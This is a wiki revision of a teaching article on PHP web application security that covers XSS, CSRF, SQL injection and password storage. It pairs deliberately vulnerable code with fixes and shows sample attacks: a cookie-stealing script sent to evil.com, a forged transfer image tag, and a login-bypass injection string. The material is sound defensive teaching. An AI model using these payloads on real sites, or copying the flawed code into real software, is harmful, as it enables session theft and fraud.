Difference between revisions of "Web Application Security, Part 1"
Line 237: | Line 237: | ||
== Password Security == | == Password Security == | ||
+ | |||
+ | Let's assume for a moment that despite all of your efforts in the other fronts of web security, an attacker was still able to extract information from your database. If you store your passwords as plain text, not only will the attacker be able to log in as whomever he chooses, but the attacker will ''also'' likely be able to log in as the users of your site on different sites (since many users employ the same password on several different web sites). | ||
+ | |||
+ | === OpenID === | ||
+ | |||
+ | One solution that will solve ''all'' issues related to password security is to not have passwords at all. This can be achieved using [[wikipedia:OpenID|OpenID]], which allows end users to use their accounts from other sites (e.g. Google, Yahoo, and Twitter) to authenticate on your site. Not only does this make your life easier in the security realm, but it also eliminates the need for password recovery, etc. | ||
+ | |||
+ | There are many PHP libraries available for OpenID authentication; one such library is the creatively named [http://pear.php.net/package/OpenID OpenID], which you can install using [[PHP#PEAR|PEAR]]. | ||
+ | |||
+ | Here's an example implementation that uses the PEAR package. You will need jQuery and the JavaScript file located [https://raw.github.com/pear/openid/master/examples/selector/js/openid-jquery.js here]. (This will make more sense after Module 4.) | ||
+ | |||
+ | '''Login Page:''' | ||
+ | <source lang="php"><nowiki> | ||
+ | <!-- Don't forget your jQuery and the OpenID JavaScript file! --> | ||
+ | |||
+ | <script>$(document).ready(function(){ openid.init('identifier'); });</script> | ||
+ | <form action="process_openid.php" method="post"> | ||
+ | <input id="start" name="start" type="hidden" value="true" /> | ||
+ | <fieldset> | ||
+ | <legend>Sign in using OpenID</legend> | ||
+ | <div id="openid_choice"> | ||
+ | <p>Please click your account provider:</p> | ||
+ | <div id="openid_btns"></div> | ||
+ | </div> | ||
+ | <div id="openid_input_area"> | ||
+ | <input id="identifier" name="identifier" type="text" value="http://" /> | ||
+ | <input id="openid_submit" type="submit" value="Sign-In"/> | ||
+ | </div> | ||
+ | </fieldset> | ||
+ | </form> | ||
+ | </nowiki></source> | ||
+ | |||
+ | '''process_openid.php:''' | ||
+ | <source lang="php"><nowiki> | ||
+ | $realm = "http://www.yoursite.com/"; | ||
+ | $returnTo = $realm . "path/to/process_openid.php"; | ||
+ | |||
+ | $identifier = isset($_POST['identifier']) ? $_POST['identifier'] : ( isset($_SESSION['identifier']) ? $_SESSION['identifier'] : null ) | ||
+ | |||
+ | $o = new OpenID_RelyingParty($returnTo, $realm, $identifier); | ||
+ | |||
+ | // Scenario 1: We are processing a login request before visiting the OpenID provider | ||
+ | if (isset($_POST['start'])) { | ||
+ | $authRequest = $o->prepare(); | ||
+ | $url = $authRequest->getAuthorizeURL(); | ||
+ | header("Location: ".$url); | ||
+ | exit; | ||
+ | } | ||
+ | |||
+ | // Scenario 2: The user is returning to our site after visiting the OpenID provider's site | ||
+ | else { | ||
+ | |||
+ | } | ||
+ | </nowiki></source> | ||
+ | |||
+ | '''Disclaimer:''' OpenID does have security issues in its own right, especially phishing-type vulnerabilities, but they are almost exclusively tied to the OpenID identity providers (Google, Yahoo, etc), not the OpenID relying party (you). Using an SSL connection will help to solve many of these security issues. And ultimately, it's safe to rest assured that profit-driven OpenID providers are quick to respond when such security vulnerabilities are reported. | ||
+ | |||
+ | |||
[[Category:Module 2]] | [[Category:Module 2]] |
Revision as of 08:05, 18 August 2012
Application-level web security is of increasing concern among web developers. This article outlines some types of security threats to your web application and how to solve those threats.
This is Part 1 of the Web Application Security article, geared toward the material covered in Module 2. For material covered in Module 3 (MySQL), see Web Application Security, Part 2. For material covered in Module 4 (JavaScript), see Web Application Security, Part 3.
Contents
Introduction to Application-Level Web Security
Every day, computer hackers around the world penetrate web applications, often for personal profits. You may find it hard to believe, but even high-profile web sites (banks, social media, even computer security companies) are vulnerable to application-level attacks!
Not only is it embarrassing to be the programmer who wrote the vulnerable code, but it could also cost you your job. As a prudent web developer, it is imperative that you take precautionary measures to make your application difficult to penetrate. Indeed, most of the time, if your site is well-written, hackers will just move on.
Here's the golden rule: Anything in your site that accepts user input, whether via a form, an AJAX request, a file upload, or even malformed links, can be used as an attack vector. NEVER TRUST USER INPUT!!! This can be summarized in the acronym FIEO, or Filter Input, Escape Output.
Cross-Site Scripting
TODO: Move this to Part 3.
Cross-Site Scripting, or XSS, is when an attacker targets an area of your application in which user-supplied input is included in application output. The attacker may use JavaScript to read confidential information and send it to his/her own servers.
There are two types of XSS attacks: persistent and reflected.
Persistent XSS
Persistent XSS occurs when a web site stores input in a database and displays it to victims later. A common vector for Persistent XSS are forum posts or shoutboxes.
For example, consider this code:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
echo "<p>".$row["content"]."</p>\n";
}
?>
In this example, content from the database is displayed verbatim to the end user. This is vulnerable to a Persistent XSS attack. Suppose the attacker typed the following code into the shoutbox:
How 'bout them Cardinals! <script> new Image().src = "http://www.evil.com/record_cookie?"+document.cookie; </script>
The victim would just see "How 'bout them Cardinals!", and everything would seem fine. However, the shout is also executing JavaScript code that sends the contents of the victim's cookies on your site to the attacker! The attacker can now hijack the victim's session and do bad things.
Solution
You need to escape the output. In PHP, you can do this using the htmlentities()
function:
<?php
$res = $mysqli->query("SELECT * FROM shoutbox ORDER BY created_at DESC LIMIT 5");
while($row=$res->fetch_assoc()){
$safe = htmlentities($row["content"]);
echo "<p>".$safe."</p>\n";
}
?>
Now, the script would appear as text to the user, and it will not execute. This Persistent XSS threat has been put to rest!
Reflected XSS
Reflected XSS is when a web page accepts input and then displays it immediately as output (without the database intermediate). A common vector for Reflected XSS attacks are search queries.
For example, consider the code:
<nowiki>
<?php
echo "<h1>Transaction History for: " . $_GET['username'] . "</h1>\n";
?>
</nowiki>
This is vulnerable to a Reflected XSS attack. The attacker could trick the victim into visiting this link:
http://www.bank.com/history.php?username=mothergoose+%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fwww.evil.com%2Frecord_cookie%3F%22%2Bdocument.cookie%3B%3C%2Fscript%3E
In some ways, this is more mysterious than Persistent XSS, because it's not clear what's going on. But this is the code that will be displayed on the page:
<h1>Transaction History for: mothergoose <script>new Image().src="http://www.evil.com/record_cookie?"+document.cookie;</script></h1>
Aye yie yie!
Solution
To fix this, we again need to escape output:
<nowiki>
<?php
$safe_username = htmlentities($_GET['username']);
echo "<h1>Transaction History for: " . $safe_username . "</h1>\n";
?>
</nowiki>
And now our Reflected XSS vulnerability has been put to rest.
Real-Life Examples
- F-Secure, McAfee, and Symantec, January 2012 (Reflected XSS)
- eBay Germany, August 2011 (Reflected XSS)
- Facebook, April 2011 (Persistent XSS)
- PayPal, October 2010 (Reflected XSS)
- American Express, October 2010 (Reflected XSS)
- Twitter, September 2010 (Persistent XSS)
Cross-Site Request Forgery
A cross-site request forgery (CSRF, pronounced sea-surf) involves a victim, who is logged in to the targeted site, visiting an attacker’s site. The attacker has code on his site that forces the victim to unwittingly perform actions on the targeted site.
For example, suppose Mother Goose visited Dr. Evil's blog. Dr. Evil had the following tag embedded in his bloc:
<img src="http://www.bank.com/transfer.php?dest=dr-evil&amount=5000" />
This would cause Mother Goose to authorize a $5000 transfer to Dr. Evil, completely without Mother Goose's knowledge!
Worse yet, Dr. Evil could just send an e-mail to Mother Goose with this image tag. All Mother Goose would need to do to be attacked is open the e-mail! (Now you know why sometimes your e-mail client turns off images from suspicious sources.)
Solution
The first precautionary measure is to always use POST requests (as opposed to GET requests) for actions that change something on your server. This will fend off all except the most hard-core CSRF attacks.
However, fully preventing CSRF attacks is not difficult. To do this, you can use a CSRF token. A CSRF token is a known string of text that is submitted in all of the forms on your site. If the string is not what you expect, then you can assume that the request was forged.
For example, consider this form:
<form action="transfer.php">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="submit" value="Transfer" />
</form>
We can easily add a hidden CSRF token field like so (as well as making the form POST rather than GET):
<form action="transfer.php" method="post">
<input type="text" name="dest" />
<input type="number" name="amount" />
<input type="hidden" name="token" value="<?=$_SESSION['token'];?>" />
<input type="submit" value="Transfer" />
</form>
This assumes that $_SESSION['token']
contains an alphanumeric string that was randomly generated upon session creation. We can now test for validity of the CSRF token on the server side (in transfer.php):
<?php
$destination_username = $_POST['dest'];
$amount = $_POST['amount'];
if($_SESSION['token'] !== $_POST['token']){
die("Request forgery detected");
}
$mysqli->query(/* perform transfer */);
?>
Now, if Mother Goose were to view a page containing the malicious <img/> tag, the transfer would not take place.
Real-Life Examples
SQL Injection
TODO: Move this to part 2.
http://imgs.xkcd.com/comics/exploits_of_a_mom.png (TODO: embed image here)
SQL injection occurs when an attacker submits specially-crafted input into your server, which is then included in an SQL query. The input modifies the query to perform additional actions on the database or to access unwanted information.
For instance, suppose you had the following code:
<?php
require 'database.php';
/* DISCLAIMER: THIS CODE IS BAD IN MANY MORE WAYS THAN JUST
BEING VULNERABLE TO SQL INJECTION! IT IS FOR DEMONSTRATION OF
CONCEPT ONLY. DO NOT USE THIS CODE IN YOUR OWN PROJECTS! */
$res = $mysqli->query("SELECT id FROM users WHERE username='".$_POST['username']."' AND password='".$_POST['password']."'");
if( $res->num_rows==1 ){
$row = $res->fetch_assoc();
$_SESSION['user_id'] = $row["id"];
}else{
echo "Login failed.";
exit;
}
?>
This code is vulnerable to SQL injection. For example, suppose the attacker used the following string of text for his username:
mother-goose' --
Here's what the resulting query would look like:
SELECT id FROM users WHERE username='mother-goose' --' AND password=''
Since --
is the start of a comment in SQL, when MySQL interprets this query, it will completely ignore the password-checking part of the query! Dr. Evil can log in using anyone's username and steal all of their money!
Solution
If you write your queries manually (as in the example above), you need to use $mysqli->real_escape_string()
to sanitize your input:
<?php
$safe_username = $mysqli->real_escape_string($_POST['username']);
// ...
?>
However, the better solution is to use prepared queries. For more information on prepared queries, see MySQL.
Real-Life Examples
- European Space Agency, May 2012
- Dutch Department Stores, April 2012
- Ancestry.com, March 2012
- Allphones (Australian Telecommunications Retailer), March 2012
- Salt Lake City Police Department, February 2012
Password Security
Let's assume for a moment that despite all of your efforts in the other fronts of web security, an attacker was still able to extract information from your database. If you store your passwords as plain text, not only will the attacker be able to log in as whomever he chooses, but the attacker will also likely be able to log in as the users of your site on different sites (since many users employ the same password on several different web sites).
OpenID
One solution that will solve all issues related to password security is to not have passwords at all. This can be achieved using OpenID, which allows end users to use their accounts from other sites (e.g. Google, Yahoo, and Twitter) to authenticate on your site. Not only does this make your life easier in the security realm, but it also eliminates the need for password recovery, etc.
There are many PHP libraries available for OpenID authentication; one such library is the creatively named OpenID, which you can install using PEAR.
Here's an example implementation that uses the PEAR package. You will need jQuery and the JavaScript file located here. (This will make more sense after Module 4.)
Login Page:
<nowiki>
<!-- Don't forget your jQuery and the OpenID JavaScript file! -->
<script>$(document).ready(function(){ openid.init('identifier'); });</script>
<form action="process_openid.php" method="post">
<input id="start" name="start" type="hidden" value="true" />
<fieldset>
<legend>Sign in using OpenID</legend>
<div id="openid_choice">
<p>Please click your account provider:</p>
<div id="openid_btns"></div>
</div>
<div id="openid_input_area">
<input id="identifier" name="identifier" type="text" value="http://" />
<input id="openid_submit" type="submit" value="Sign-In"/>
</div>
</fieldset>
</form>
</nowiki>
process_openid.php:
<nowiki>
$realm = "http://www.yoursite.com/";
$returnTo = $realm . "path/to/process_openid.php";
$identifier = isset($_POST['identifier']) ? $_POST['identifier'] : ( isset($_SESSION['identifier']) ? $_SESSION['identifier'] : null )
$o = new OpenID_RelyingParty($returnTo, $realm, $identifier);
// Scenario 1: We are processing a login request before visiting the OpenID provider
if (isset($_POST['start'])) {
$authRequest = $o->prepare();
$url = $authRequest->getAuthorizeURL();
header("Location: ".$url);
exit;
}
// Scenario 2: The user is returning to our site after visiting the OpenID provider's site
else {
}
</nowiki>
Disclaimer: OpenID does have security issues in its own right, especially phishing-type vulnerabilities, but they are almost exclusively tied to the OpenID identity providers (Google, Yahoo, etc), not the OpenID relying party (you). Using an SSL connection will help to solve many of these security issues. And ultimately, it's safe to rest assured that profit-driven OpenID providers are quick to respond when such security vulnerabilities are reported.